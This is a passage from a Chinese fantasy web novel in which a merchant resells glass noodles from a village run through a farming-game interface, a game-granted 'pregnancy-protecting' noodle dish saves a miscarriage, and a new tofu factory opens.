赵金构来的时候,带了两辆四轮马车,八匹骏马扬着脖子,看上去威风极了。 张山略带羡慕地看着这八皮上好的骏马,心想自己啥时候才能有一匹马。 现在马价高,差不多得80两一匹,想想他的工钱,张山顿觉这个目标有些遥远。 ——算了,买个驴子也成呀,驴子便宜,才10两左右,攒攒钱还是有奔头的。 调整好心态,张山继续帮着给赵金构装货,等到装完货后,他顺利拿到了180两货款。 赵金构一抱拳,他身旁的马夫驾驶着骏马飞奔离去,矫健的骏马奔跑起来气势磅礴,瞬间吸引了一大批村民的注意力。 “我的老天爷,这大马车!太阔气了!” “我知道这马车,一车能拉2000公斤的东西!” “实力强悍啊,这马车得多少两才能买下!” “一天马匹吃喝就得不少文呢!” 在众人的羡慕下,马车逐渐驶离斗坡村。 而张山则是赶忙将180两交付给了仙师。 这钱他拿在手里烫手,生怕丢了。 这一单卖出去后,张山本以为自己能难得地放轻松,结果谁能知道,连续好几日他都在做噩梦,一会梦到那赵金构怒吼着说这些东西根本卖不掉,一会又做梦粉条出去以后没人敢尝试,最终赵金构将货物拉回来要找他退货。 有时候实在是睡醒了,张山就先去豆腐厂看看工人生产进度,然后再琢磨琢磨之后招人的事。 而话说赵金构此人,在拉着满满当当的货物往回返的路途中,却遇到了一辆朴素的马车一闪而过。 这马车在看到他的马车后放慢了速度,马夫站起来朝着他挥手,似乎有事。 本来赵金构是不打算停车的,结果那车帘一晃,他眯着眼睛,倒是看到了一个眼熟的丫鬟。 ——对了,这人是那日在酸辣粉摊上买粉的孙府丫鬟。 思量一番后,赵金构让马夫停下车,他掀开帘子,语气还算温和。 “有什么事吗?” 对面马车的帘子也掀开了,里面坐着的丫鬟不是别人,正是代为跑腿的丫鬟夏荷。 夏荷倒是没料到载货的马车内竟然会有这般俊秀的男子,脸颊不受控制地微微一红,随后道:“打扰公子了,请问前面最近的一个村子,是斗坡村吗?” 赵金构眼神一黯。 孙府竟然也是去那里的? 孙府是官家出身,上次酸辣粉闹出了城门口那事后,按照这种官家人家的做法,基本上是能躲多远躲多远,不可能再去亲自去找不痛快。 但是今日孙府这般反常,想必是其中有些许他没弄明白的地方。 “姑娘,前面倒确实是斗坡村,不过听说,前些日子城门口那事可是和那村子有关的,姑娘何必以身犯险呢?” 赵金构眼带忧虑,看上去就像是热心公子一般,夏荷赶紧摇头。 “多谢公子关心,只是有不得不去的理由。” 这话说完后,夏荷连忙和对方道谢,随后那辆小马车很快消失在赵金构视野中。 他此行带了四人,眼下当机立断,立即命一人解开一辆马,跟着那马车前去打听一番。 而他则是继续前往目的地。 第26章 保胎药 临近风仙县外的一处小驿站内,赵金构正闭眼假寐,等到窗外传来鸟类扑腾翅膀的声响,他双眼瞬睁。 开窗,解开信鸽爪子上的信件,等看清楚字后,赵金构顿觉不可置信。 消息是跟随孙府马车的人传递回来的,上面大意涵扩下来是吃了酸辣粉,会给怀孕的孕妇增加一层保护,专用于保护孩子和产妇的生产。 确定这消息不是开玩笑后,赵金构突然就想到了张山口中所说的仙师。 ——莫非不是造势,真是仙师? 毕竟纸上写的很清楚,孙府专门找了那位很有名气的一言道士过去给府内大娘子驱邪,最后得出的结论竟然是这般。 赵金构指尖无意识地敲击着桌面,心里有了新想法。 好啊好啊,原先售卖粉条可能还需要浪费一番口舌,现在他顿觉这粉拿在手中,那可是行走的钱袋子! 试问哪个达官贵人的府上没个孕妇?这些人对保胎的需求可谓是最高的。 不过,这作用,他需要找人验证一番。 确定好下一步后,赵金构先让驿站老板按照做酸辣面的方式做了一碗酸辣粉,随即将这份酸辣粉装在了食盒里。 骑马,拎着食盒,赵金构飞奔至相识的一位行商家中。 他和这行商关系还算可以,选择他家,一是因为这人实力足够,而是因为他家妻子正怀着孕。 且在上次见面时,这行商还担心他妻子体弱,怕这一胎保不住,还在路上向不少行商的人打听过保胎药品偏方什么的。 既有试验的条件,再加上这行为也算是有孙府大娘子先前试验过,不算危险,赵金构打定主意去这游商家中试验一番。 等到这行商家中后,赵金构和这行商客套一番,随即便关怀道:“游兄,上次在下自从得知游夫人的状况,一番打听,倒是还真打听到了一个法子。” 赵金构迅速将酸辣粉的神奇之处给这游姓商人说清楚。 “这是在下打听出来的消息,那一言道士既然断定此物对孕妇有用,便做不了假,在下将这酸辣粉给游兄带了过来,至于要不要食用,全看游兄。” 话说这游姓商人并非风仙县本地人,也就在大约一年前才定居此处。 听到赵金构这般诚恳的话后,他先是震撼,随即再爽朗一笑,命人接过了这酸辣粉。 ——说实话他有些不信,这不就是一碗普普通通的酸辣粉么?怎么可能会有那些神乎其神的效果? 但毕竟赵金构给他辛苦寻来的东西,他也不好拒绝,只能说等赵金构走后,他再处理了这酸辣粉即可。 为了感谢赵金构,游姓商人专门备了席,两人推杯换盏至戊时,突然有一丫鬟慌张闯入。 “老爷!您快去看看夫人啊!夫人好像要不好了” “什么?!” 游姓商人猛地起身,神色明显慌乱起来,手中的酒杯不自觉滚落在地,碎裂开来。 “快!快带我过去!” 赵金构也跟着起身,在游姓商人带着奴仆往后院急匆匆走去时,他却拎着食盒,不远不近地跟在这群人的后面。 等一众人来到后院时,稳婆满头大汗地从里面走出,脸色煞白。 游姓商人立即冲上去,急切地询问妻子状况如何。 稳婆脸色不太好,这会摇头道,“见红了,恐怕这一胎是留不住了,夫人身子虚弱,这次滑胎或许会对坏了夫人底子,恐以后不能再生育了。” 游姓商人脸色瞬间煞白,随即就要推开门进去看妻子。 稳婆和丫鬟小厮们不敢阻拦,却听有一人道。 “游兄,你不若带着它试试。” 游姓商人一转身,手心里就被放上了一碗已温凉的酸辣粉。 卖相算不上好。 赵金构表情带着坚定,“试试吧,万一能行呢?” 这游姓商人本还在犹豫,但听到屋内传来妻子痛苦的呻吟,隔着门,门内另一稳婆还在说些什么,听不太清楚。 ——罢了,虽说有些离谱,但对方这般坚定,难道这酸辣粉当真藏着什么玄妙? 游姓商人顾不上和赵金构说话,不敢耽误时间,连忙亲手捧着酸辣粉入了屋内。 等他进去后,便看到了躺在床上,惨白着脸的自家夫人。 扑过去,轻声安慰了两句后,游姓商人端起那酸辣粉,想让妻子喝一口汤试试,而稳婆则是有些不确定地看着这碗红辣的汤水。 ——闻起来辣辣的,这到底是何物?本有些不确定,但当她距离这碗酸辣粉极近的时候,这才确定,这竟然是一碗酸辣汤??? 稳婆赶忙喊住了游姓商人。 “老爷,夫人眼下应该不适合喝这个汤吧?” 游姓商人其实也有些不确定,但是想到赵金构那么确定的神情,再加上妻子以往说过想要个孩子的话,他忍不住动摇了。 就一口。 想必赵兄不会这般坑害他。 深呼一口气,游姓商人拿起白瓷勺子,吹开红汤,挑了一口相对清淡的汤送入妻子口中。 而一旁的稳婆已经有些不忍心看下去了。 ——唉,糊涂啊,怎么能喝这样的东西呢但是她也不敢去反驳游姓商人,只能眼睁睁地看着游姓商人给妻子喂了一口。 游夫人紧闭着双眼,等到无意识抿下去一口汤后,一股难以形容的温和感包容着全身,若非要描述的话,这感觉像是有一层温和的水缓慢包裹至全身,在她全身各处游离完后,依附在她的小腹间不再动弹。 几乎瞬间,腹痛的剧烈感缓解了不少,片刻后,游夫人甚至缓缓睁开了双眼。 “夫人?” 稳婆激动地轻声呼喊她,随即又替她把脉。 游姓商人催促着稳婆,询问自家夫人情况。 而稳婆摸着游夫人的手,脸上有些恍惚。 ——先前游夫人的确是滑胎迹象无疑,而在喝了口辣汤后,反而脉象稳定下来,这会别说会滑胎,这胎脉反而强健有力得很 这可真是奇了,她从业多年,从未遇到过如此稀奇之事! 沉浸在震撼中的稳婆好不容易调整心情,这才将事实如实说出。 等确定稳婆说话不假后,游姓商人激动得差点摔碎了碗。 但想到自己拿着的可是妻子的救命药时,他端着碗的手又用力了几分。 “夫人,你现在感觉如何?” 游夫人的面色相较于先前可谓是红润了不少,这会她不敢置信地摸了摸腹部,随即看向了丈夫手中端着的汤。 想必这就是救了她的药物? 等到看清楚那碗酸辣汤后,游姓商人似乎注意到自家夫人向来温婉的表情僵硬了几分 而此刻,姜定则是看着酸辣汤菜单下的介绍发呆。 【酸辣粉,很适合孕妇使用的食物,服用后可增强孕妇体质,提升生育成功率。(注:想要此效果,必须采用本工厂生产的粉条哦)】 虽说这效果对于他目前来说挺及时的,毕竟一开始提升人口数量是最正确的选择,就是为啥这种效果非要选择酸辣粉啊! 一想到游戏里怀孕的妇人都要喝一碗酸辣粉保胎,不知为何,姜定顿觉这个画面有些辣眼。 沉默了几分钟,他最终选择闭眼安慰自己。 ——不奇怪,不奇怪,种田游戏里食物有不同的特性根本就是很常见的设定啊! 强迫自己不再关注酸辣粉后,姜定又看了看另外两个菜单,可惜的是,另外两个和粉条相关的菜单,却没能衍生出什么作用来。 算了,看来这玩意是纯靠运气触发的。 姜定不再纠结,转而看着自己目前手里存到的银钱。 这些日子,经历山上工人的不断挖掘采摘,以及刚拿到手的180两,姜定算了算,在不影响后续建造相应工厂的情况下,他还差6000多两 虽说之前有想过这游戏费肝,但是他没想到这么费啊。 眼下他只能寄希望于他的宣传工人给力一些了,不然他估计要在这山头上呆很久了 在姜定愁眉苦脸计算复辟下山道路所需的银钱时,粉条却以一个极其恐怖的速度正往外倾销。 自从上次用这粉条做成的酸辣粉顺利救了游夫人后,赵金构和游姓商人一拍即合,两人各自开辟市场,宣传此物的神奇,竟在两天内将赵金构买到的3000斤粉条全部售空。 除却粉条以外,赵金构顺带将3000斤地瓜干售卖给不少缺粮的百姓。 做生意当然要赚钱了,但是赵金构定价还算合理,并非是所谓的黑商。 不过这是对普通人来说,若是遇到哪个富商,官老爷急需酸辣粉的,赵金构势必要在这些人的身上狠狠撕下来一块肉来。 这两天时间里,他靠着酸辣粉,赚到了一个极其恐怖的数字。 因粉条售空的缘故,赵金构很快便再次前往斗坡村,再次求购粉条。 而这次的话,赵金构提出购买一万斤的粉条。 这么快就见到了赵金构,说实话,张山还有些心虚,但是当听到对方淡然报出的进货数量后,他整个人呆住了,随后才慢半拍反应过来。 ——不是,这就卖完了?还要再进一万斤? 真的假的? 仔细确认对方不像是开玩笑后,张山忍不住心脏剧跳。 若是这赵公子次次都来的话,这地瓜加工厂肯定是能顺利运行下去了。 这样的话,这些在加工厂做工的本地人也都能安稳做事了。 在前面和赵金构说完话后,张山去喊人过去给装货,迈出门后,他这才后知后觉地发现自己掌心里全是汗。 第27章 自卑 这笔大单砸下来,仓库堆积的粉条立即少了一半。 原本积攒得满当的库房,此刻再次空了下来。 ——粉条卖得比地瓜干快,那自然往后重心是生产粉条。 话说赵金构和那游姓商人合资,先后购入两万斤粉条,共计花费800两。 为感谢赵金构救了自家夫人,两人利润是73分润的。 等到将粉条卖得出了风仙县以及附近地区后,两人这才满面红光地聚在一起谈论下一步该如何。 小茶馆内。 赵金构和游姓商人正小声会谈。 “游兄,附近这一片区域已经被我们兜售完一圈,根据咱们这么多天观察,这粉条受众多,且能和多种食物搭配在一起,味也美,用不了多久,这一批粉条售卖完后,会有更多的商人前去斗坡村买粉做生意,到那时候,我们的利润可不会像现在这般高了。” 赵金构说的都是可以预想到的结果,游姓商人想到近些日子赚到的钱,颇有些恋恋不舍。 “赵兄,你看这般如何,我带着这粉前往我老家附近兜售,利润还是依旧分润,只不过你我需合资购买大批量的粉条,省得路途遥远耽误时间,且这样也能在市场反应过来前再赚一笔。” 赵金构自然同意。 他提出会谈自然就是希望这游姓商人能主动提及前往自家附近兜售,若是他先提及的话,这便是求人去了,想必多少是需要给对方多让利一些的。 “我觉得游兄这想法可行。除了这事以外,前些日子我发现,那酸辣粉的神奇之处只有第一次吃才有,游兄在宣传时可千万要注意。” 听到赵金构这话后,游姓商人有些惊异,随即叹了口气。 “若是这神奇之处可以叠加该多好。” 这样他们的利润更高了。 倒是赵金构笑着展开折扇扇风。 “游兄此言差矣,唯有第一次有用我们才能获得最大利润,你想想看,若一直有用,那些先前购买的人会不会恼怒我们骗了他们?” 想到这问题,游姓商人顿时打了个寒颤。 “赵兄说得有理,倒是我鲁莽了。” 两人说说笑笑用完了茶后,这才驱车赶往斗坡村。 等到大批量购入最后一批货后,游姓商人和赵金构拜别后离去。 而赵金构则是密切关注着市场变化。 ——起初,酸辣粉这物只有张氏摊位才有,随着粉条的售卖,不少酒楼内都添了酸辣粉作为新奇之物让贵客品尝。 除却粉条做成酸辣粉以外,酒楼大厨灵活运用粉条,将这物和多种荤素搭配在一起,汤汁一熬煮,粉条入味后甚是美味。 惹得诸多食客流连忘返,频频回购。 一家酒楼若是有了这粉,那最先知晓的必定是他的对家。 而等对家有了,那对家的对家也会主动想方设法去找寻这粉条去。 没过多久,粉条这物风靡风仙县,不少常去酒楼的旧客只要一前往酒楼,必定会点个粉条的菜色,很快,这物变成了招待贵客的新奇之物。 而等到最上头的这一批食客品尝完粉条后,不少街头商贩,小店内也买到了粉条。 ——这是该轮到市井人家享用这物了。 这些小商贩们虽说将粉条做不出酒楼那般精细的菜色,但是人多想法也多,不少制作粗糙但味奇特的粉条美食应运而生。 原先百姓觉得日子过不下去了,但是雨一下,地里种点作物,加上家里先前的积蓄,倒也能勉强在这灾年熬下来。 粮食产量少了,人总不能饿死,于是,众人便将粉条暂时作为粮食的替代物。 也是巧合,因粉条消耗量过大,倒是提前推动了粉条的采购。 一周后,赵金构注意到风仙县内不少商人已经开始打探这粉条来自何处了。 ——人多力量大,斗坡村很快便会暴露在这些人眼皮子底下,看来这生意往后是要没什么做头了。 赵金构心里和明镜一般,这会却想的是上次他看到村内正在建造的新的加工厂。 听村内百姓介绍,要建的加工厂是什么豆腐加工厂。 豆腐是什么,赵金构并不知晓,但结合粉条这物来看,他敏锐地察觉到这豆腐的市场也应该很大。 因前些日子那加工厂好像即将要建造完毕,这会赵金构驾着马,急匆匆赶往斗坡村。 这一路走得并不顺利。 路上大大小小的马车不少,目标都很一致,全部是赶往斗坡村,去采买目前城内售得最火热的粉条。 这些人里,有主营倒卖的商人,还有粮食店的掌柜,除却这些较大的商贩外,还有不少零卖商人,以及各自摊位上的小商贩们。 人群成分是复杂的,但是大家的需求是一致的。 赵金构今日特意换了一辆小马车,扎在人群里倒也不突兀。 他撩开帘子,还能听到附近不少人的谈论声。 “听说那粉条便是来自斗坡村内,你们也是去购买粉条?” “自然,我和我家娘子做些吃食生意,这粉条现在不是最为火热么,自然要过来亲自购入一些了。” “不知价格如何?” “那边肯定要比咱们先前买的便宜” 周围说什么的都有,赵金构合上帘子,顺着人流方向走。 原先一个时辰的路程,今天足足走了两个时辰,等他人到斗坡村门口时,看到的便是被马车淹没了的村庄。 地瓜加工厂处,原先还足够停下两架四轮马车,这会眼瞅着是不够用了。 赵金构有些头疼地靠边停马车,随即下马,打算亲自去问问张山关于豆腐厂的事。 而此刻,张山看着围满了人的地瓜加工厂脑袋一片空白。 啊,怎么回事?这么多人? 揉了揉眼睛,确定自己没看错后,张山试图拨开人群,挤进办公室去。 而拥挤的人群可不惯着张山,反而一个肘击,将张山肘击在地。 “诶诶诶,你挤什么挤,大伙都排队呢!先来后到的顺序懂不懂啊!” 张山吃痛起身,脸色带着痛苦,“兄弟,你误会了,我是这厂子的负责人,你们想买东西,得先让我进去啊。” 将张山肘击在地的人有些尴尬,随后赶忙搀扶着他就往里走。 “不好意思,兄弟,我这人性子急,没坏心,我扶你进去?” 张山连忙婉拒了。 倒是这汉子看他挤得费尽,索性大吼一声。 “都让让啊!这是粉条的管事!让人管事进去!” 这大汉声音雄厚,惹得附近的人立即转头去看张山。 而张山则是瞬间头皮发麻,被迫接受了周围一圈火辣辣的视线。 “这就是管事的?” “看着怎么有些畏畏缩缩的?” “确实有些没有气度,还以为这粉条的管事是一位多厉害的人物呢。” 张山:不是,都觉得他听不到么?!这群人是不是太过分了? 想到这些人对自己的评价,张山忍不住抬起胸膛,故作大方地往前走。 ——他得立起来,毕竟他代表的可是仙师的脸面!既然仙师选择了他,那他势必不能给这位丢脸才对! 好不容易顶着人群的视线走到最前方,张山沉着嗓音道:“粉条数量有限,先来先得!” 此话一出,顿时有人不乐意了。 “管事,我们可是费了老劲过来买粉的,你得想办法都卖给我们一些呀!” “是啊是啊,管事,咱们以后做生意的时间还长着呢,你先卖我一些,谁都知道我钱家是最有实力的商行!” “什么钱家不钱家的,就应该按照排队顺序来!” 人群闹得不可开交,张山好几次张口欲劝,均被打断,眼瞅着一筹莫展之际,人群中却有一男子声音穿插进来,这人音色优美,光听声音就知道是个俊秀男子。 “在下有一计谋,大伙不如先听听如何?” 张山倒是从这声音中品出来几分熟悉。 ——怎么感觉像是赵公子的声音??? 因赵金构和张山做了好几次生意,而且还是大生意,张山对他还是很有印象的。 为了求证,张山这会瞪大眼睛,想看看这人是谁。 等到看到那熟悉的水绿色袍角后,不知为何,他莫名放松了情绪。 赵金构从人群中缓步走出,周围人在被他的模样惊得愣神片刻后,随即恢复原状。 “你是谁?我们凭什么要听你的?” “对啊,别以为长得好看就能让老子乖乖听你的话!” “你能代表管事么?” 面对这些人的疑问,赵金构倒是不慌不忙地走近张山,随即忽略了那些质疑的话语,慢悠悠地阐述自己的计谋。 “首先,确实应该按照先来后到的规矩进行售卖,而后续买不上的,则先可以在预购本上登记需求,支付押金。 因粉条每天的产量是有数的,按照产量和预购本上的登记需求,只要登记无误,便能推断出可以拿到货物的日期,也就只需要在拿货当天取走货物即可。 若是嫌拿货等货太费心思,还可以付费请人将货物送到自家门口,在收到货的时候支付货款。 在下的提议便是如此,诸位觉得如何?” 张山勉强听懂了赵金构的提议,等到完全理解他的提议后,张山看向赵金构的眼神顿时充斥着羡慕 天才啊,他什么时候才能提出这么有用的建议 自卑笼罩心头,而随即,张山却暗自做了个决定。 ——这么聪明的人,不跟着仙师混真是可惜了,改天带着他去见见仙师,以后让这赵公子也替仙师效力好了。 他张山虽说不够聪慧,但是他从不会去嫉妒天才们,既然自己无法更好地替仙师效力,何不引荐这些天才们去找仙师呢? 第28章 邀请 而此刻,姜定却收到了一条诡异的提醒。 【你的工人似乎觉醒了新的天赋】 新天赋? 姜定有些好奇,这天赋不是一定的么?莫不是这游戏设计中,还有隐藏NPC的存在? 边琢磨,姜定边打开雇佣界面,想找找觉醒了新天赋的人到底是谁,而在看到雇佣界面满满当当的工人后,姜定想查找的手,顿时顿住了。 ——额,不然算了吧,管他什么新天赋,有了就好,不一定非得执着于是谁对吧? 话说这游戏的设计是不是有问题啊?设计团队在设计这个特殊NPC时就完全没有想过雇佣工人太多,以至于会找不到这人的存在么? 姜定很想吐槽,但随即一想,这游戏是新出来的游戏,人物和CG已经做得够优秀了,有这点小BUG也是完全能够理解的,毕竟谁能说没有失误犯错的时候呢? 这么一想,心里顿时舒服多了,不过游戏BUG还是报告一下后台的好。 刚想去报告官方,此刻,姜定突然想到了一个更严肃的问题。 ——等一下,豆腐厂张山已经快操办好了,他是不是应该解锁厨房几个关于豆类品的菜单了? 毕竟上次他只是给其中最为聪慧的几人看了制作视频,让这些人先做出来一小批的豆类品作为实验,眼看预制作成功后,游戏提醒他是否要将这些试验品分发给工人,姜定自然选择了是。——虽说不知道有什么好处,但是既然游戏提出来给了,他肯定同意啊,这便宜不占白不占! 意料之中,这些人品尝过后一致好评。 拍马花样之多,让姜定对制作组的文字功底佩服不已。 不过虽说原材料做好了,但对于如何制作这些原材料,让它们做为美食出现却还需要菜单的帮助。 边想,姜定边打开待解锁菜单,等到看到售价10000铜板的菜单时,他忍不住沉默了。 额有一说一,这价格是不是太高了? 再往后翻看一番,姜定敏锐地察觉到了不对劲。 ——等一下,后面的菜单价格更贵了! 姜定忍不住蹙眉。 难不成,解锁菜单是个巨坑? 也不对,当时酸辣粉的特殊效果确实是有用的 仔细想想,或许是从游戏内解锁后的菜单,有概率会获得特殊作用,若是靠其他办法,譬如他上传视频解锁的菜单,可能就不具备特殊作用? 若真是这样的话,需花钱解锁的菜单等后期有钱了再开,前期手头紧张时,不如白嫖一点得了。 越想越觉得如此,姜定先去某站找了数个美食制作视频,上传至学堂,随后等着学堂转化完毕后,他趁着等待的功夫,决定先将刚才系统的BUG回报一下后台。 姜定辛苦找寻官方报错入口时,全然不知游戏内自己的铜钱数正急速飞涨。 自赵金构提出解决方案后,不少前来买粉的人先是和张山一样愣住,随即转头一想——这话也有道理啊,毕竟前面人这样多,再排下去只会浪费自己做生意的时间,还不如按照这人所说,将自己的需求登记在预购本上更合理。 想明白其中的关键后,众人对赵金构的态度可比先前好太多了。 因人太多,赵金构甚至还亲自上手帮张山登记了一番。 等到最后该买的买完,预购的登记完,押金给完,两人这才擦了把汗。 张山赶忙去内屋给赵金构倒茶水。 不是什么好茶,但是赵金构着实是渴着了,这会喝了两口,先前的那股燥热被稀释了不少。 而此刻,张山则是酝酿片刻,随即凑过去感慨道:“今日还要多感谢赵公子相助,不然靠我一个人,可是解决不了今日这事。” 赵金构权当对方是在说场面话,笑了笑,刚想询问豆腐厂的事,结果还没来得及开口,就听张山继续道。 “赵公子,我看你有大才,想将你推荐给仙师,你意下如何?” 赵金构顿时懵了,拿着摇扇的手也停顿在空中。 ——这来真的? 虽说先前他对研究出粉条的幕后之人很好奇,但突然这么突兀地邀请他,他其实内心是有些拒绝的。 尤其是先前感受到酸辣粉威力后,赵金构敏锐地察觉到一丝危险的意味。 拥有这般手段的,定不是人类。 赵金构在考虑该如何婉拒,而张山则是敏锐地察觉到对方似乎并不太情愿的模样。 哎,多好的机会啊,他没想到竟然还有人不愿意被引荐到仙师面前的! 但是左右一想,倒也能理解。 连忙递给赵金构台阶下。 “无事,是我唐突了,赵公子自己先考虑考虑,等想见仙师了,我再带你过去。” 赵金构点头表示同意,周旋片刻,他总算是找到了询问豆腐厂的时机。 “你问豆腐厂什么时候竣工?其实快了,就在最近两天,那豆腐我都没尝过,等豆腐出来了,请赵公子过来品鉴一番。” 听到赵金构询问豆腐厂,张山说实话也好奇得打紧。 毕竟这豆腐的制作是另一批次的人负责的,他们只给张山说了需要的制作工具。 石磨,吊包,点浆桶,大锅和炉子,以及豆腐模具。 石磨,锅具炉子他熟悉,但其余那几样东西,张山听都没听过,还得是这些人给拆分后告诉他材料。 原来吊包就是用三根木棍撑起来的一大块能过滤豆渣的纱布,点浆桶则是口大底小的大桶,而豆腐模具则是由木架子组成,负责压制豆腐。 按照这些人的要求,张山找了对应的人过去干活,虽说他是门外汉不懂,但是别的人懂啊! 赵金构听到豆腐厂快建成了,张山又邀约自己,自是提前谢了张山的邀请,为了不错过品鉴豆腐,赵金构直接在村中有空房的农户家住了下来。 半夜时分,赵金构却毫无睡意。 ——床太硬,蚊虫太多,洗漱不便,民房果然不太行。 斗坡村未来必定有不少人前来住宿,但眼下村内竟然无一客栈,这岂不是一个机会? 一旦想起做生意的事,赵金构顿时腰不酸,腿不疼了,躺在硬邦邦的床上,赵金构不免畅想起来。 ——预先做一个客栈绝对是有利可图,除却住宿生意以外,他还可以聘请大厨做一些吃食,当然了,主要的吃食自然是围绕着斗坡村附近出产的新奇食物做的了。 这样既能方便来本村采买的外地人,也能更快地推动村内的生意,于情于理,村里的人都应该能同意他开设客栈。 抱着这般畅想,赵金构不知不觉睡着了。 等到两日后,豆腐厂按照预期完工,赵金构如约而来,恰好在门口遇到了张山。 张山前几日便如法炮制,招收了六十个工人。 粉条厂因作物单一,所以只招收了三十人,而豆腐厂则有多个产物,所以招收人数自然要多。 招收一开始,前些日子想进厂的人自是赶紧跑回家,前去洗漱,整理仪表。 上一次这些人从知情人口中得出,东家招人只收那种仪表整洁之人,所以许多提前打听好的人,这会赶忙着急回去洗漱,力求这次招聘能成功入选。 等到一批又一批的人被挑选入厂后,张山总算擦了把汗。 ——他只是负责豆腐厂前期招收工人的,至于后期教授制作方面,以及销售的事,则不是他的活计。 而另一处,负责传授众人制作豆腐的不是别人,正是里正的大儿媳,孙宁元。 她作为实际管理豆腐厂的第一人,着实让许多人吃了一惊。 ——怎地是个女人来管他们? 不少人不服气,但听到任命的人是仙师亲任时,均不敢再继续提出不满。 ——开什么玩笑,仙师给了他们工作,给了他们赚钱的机会,到底是有多想不开才会去主动挑衅仙师的威严? 虽说让女人管着确实心里不太爽快,但权衡一番利弊,眼下他们得了仙师的好处已是天大的机缘,只有说觉得命太长了,才会去纠结那些细枝末节的东西! 话说回来,其实要说最惊讶的人,不是别人,正是里正夫妻二人。 因里正娘子在山上觉得上山实在是个好去处,于是便让人捎话给自家的三个儿媳,儿子,让他们也跟着上山,看看能不能从仙师处谋求生活。 三人在收到里正娘子的话后,各个收拾好东西,急匆匆跟着大部队赶往潜灵山。 六人中,三个儿媳有两人被分到了豆腐制作技艺处,而最小的儿媳则被分配到了勘测学堂去学习勘测地矿。 三个儿子里,大儿子接下里正的工作,负责看管学堂事宜,而二儿子负责监管住所,小儿子则是被分配到了地矿管理工人。 倒也不是姜定有心,而是这六人整体数值是要比别人要高出不少,他自然是让数值高的人负责更为重要的事务了。 而在里正看来,这简直是仙师对自家特殊的照顾。 仙师竟这么惦记着自家人,看看这每个人都分配了不错的工作! 而孙宁元则在数日学习后,终于出师,谁都没想到,仙师竟然命令她作为豆腐厂的第一负责人。 这消息出来的时候,不说别人,就连孙宁元本人也呆了一瞬。 ——她?真的可以负责这么重要的工作么? 正犹豫之际,二弟妹安慰她。 “嫂嫂,你别担忧,你看那张山原先不也就是一猎户,他现在负责的地瓜加工厂不是开得有模有样? 你还是念过书的,想必只会比他更强才对。” 第29章 经验 二弟妹关怀的话语倒是抹平了孙宁元的担忧,她临走前,里正娘子则是拉着她的手,嘱咐她好好干,要回报仙师的栽培。 孙宁元深深点头,带人下山,而等豆腐厂真正办起来,顺利产出第一批豆腐时,她这才松了口气。 在教授工人时,孙宁元留了个心思,最为重要的点卤水活计,她只肯让她带下山的人负责。 这些人是绝对听从仙师命令的,不会说暴露秘方,比外面招收来的工人要让人更放心。 留好后手,孙宁元倒也颇有兴致地查看刚做好的这一批豆腐。 被模具按压后成型的豆腐各个方方正正,白嫩滑顺,微微凑近,闻起来有一阵阵的豆香味。 孙宁元拿起勺子,尝了口豆腐,双眼不自觉亮了起来。 ——好吃!和上次她有幸品尝过的豆腐是一个滋味! 第一次大批量的制作豆类品,其实说不紧张是假的,等到确认这豆腐口感和山上无异时,孙宁元总算露出了笑容。 再细细品尝,一点豆腥味都没有,这物若是入菜,定是味美。 再看看一旁被压制成型的干豆腐,孙宁元切开一条,放入口中回味。 干豆腐入口扎实,豆香味浓郁了许多,这物和豆腐不相上下。 至于煮沸之际捞出来的油豆皮,她也在油豆皮晾晒好后,尝了一口。 豆味更为浓郁,形态比较薄,适合调制个凉菜什么的。 至于先前学会的制作冻豆腐暂且没有制作,毕竟冻豆腐适合冬天做,现在要做还要用冰,实在是不值得。 至于腐竹,孙宁元也只是少量做了一些,用以作为样品,到时候给购买之人看即可。 张山带着赵金构进来之际,看到的就是孙宁元眼前放着的豆制品产物。 看着那白嫩的豆腐时,赵金构眼中带着好奇。 这物,便是豆腐? 再看向周围其余产物,他忍不住微微蹙眉,其余的是? 好在孙宁元没有晾着他,反而笑着给他介绍。 “这方正之物名为豆腐,薄透如蝉翼的名为油豆皮,微厚的为豆腐皮,而最后这物则是腐竹,是由油豆皮再次加工成的,便于携带。” 孙宁元递给对面二人一双筷子。 “可以尝尝原汁原味的豆腐,至于它衍生出来的美食,过些日子,村口应该就会有卖的了。” 两人本就是奔着品鉴豆腐来的,这会礼貌性推脱一番后还是拿起筷子,夹起一块豆腐仔细端详。 豆腐白生生的,被夹起来时还不住地跳动,看上去弹性十足,赵金构眼神不自觉带了好奇,他鼻尖凑近豆腐,预想中的豆腥味并不曾有,反而多出一股带有淡淡甜味的豆香,送入口中,豆腐软嫩得用舌尖一抿就化开了,满口豆香。 这物还没烹饪味道便如此之好,赵金构已经能想象到这物烹饪后味道定是美极。 恋恋不舍地放下筷子,孙宁元招呼他们二人品鉴其余的豆类产品。 赵金构不说话,只是品鉴完后,每每夹着食材的筷子久久不愿放下。 ——说实话,这几样的味道早就出乎他的意料,地瓜干和粉条好虽好,但那物更依赖于后天制作好才有风味,吃就吃一个稀奇,而眼下的豆类品,不仅更为稀奇,它原本不经烹饪的味道就足以让人叹服。 赵金构忍不住脑内思绪飞转。 这物果然不出他所料,等到后期真正开始推广售卖时,想必会比地瓜厂的粉条更为火爆! 且因粉条的缘故,来斗坡村的人越来越多,这些人中,定会有慧眼如炬之人发现这豆腐厂,到时候恐怕他早就没了先机。 对商人而言,失去先机无异于是失去赚钱的机会。 几乎瞬间,赵金构就想到了破解之法。 既然这豆腐厂之后还要面对人群售卖,那他何不在刚开始售卖时花钱吃下一块肉呢? 鉴于豆腐厂出货数量稳定,短期内想必无法大规模出产豆制品,他只需花钱购入一部分豆腐厂的固定出货,未来这批货的价格想必会持续走高。 想来也能理解,毕竟拿不到货,但市场又紧缺,必然会造成豆腐涨价。 不过这豆腐味虽美,但它不好运输保存,依他看,最为合适的还得是油豆皮和腐竹两物最适合长距离运输。 既然如此,他在购买出货量时,只需要购买这两样即可,其余的两样,留给附近商户做生意。 赵金构想清楚自己下一步后,这才摇着扇子,正欲开口。 倒是不巧了,这会却有个妇人推门而入,高声呼喊道。 “孙娘子,张娘子来了,有事寻你。” 孙宁元下山时便得知,负责宣传豆腐美食的张氏一行人也跟着下山了。 这会听到妇人的呼喊,连忙让她喊人进来。 等了没一会,张氏笑着入内,在路过丈夫张山时,她甚至没有分给丈夫一个多余的眼神。 张山愣了一下,心里突然酸酸的。 本听到妻子来豆腐厂时,张山还以为张氏是去地瓜厂没寻到他,这会打听后,专门过来看自己的,刚上前打算和自家娘子好生说会话,却没想到妻子竟然是连眼神都没分出来一个给自己。 自家娘子有了工作,简直干起来不要命啊,两人都多少天没见过面了,娘子竟然丝毫不想和他说些家常话。 不说话,好歹也得告诉他梅姐儿情况如何呀! 张山的忧郁在场的几人都未曾发现。 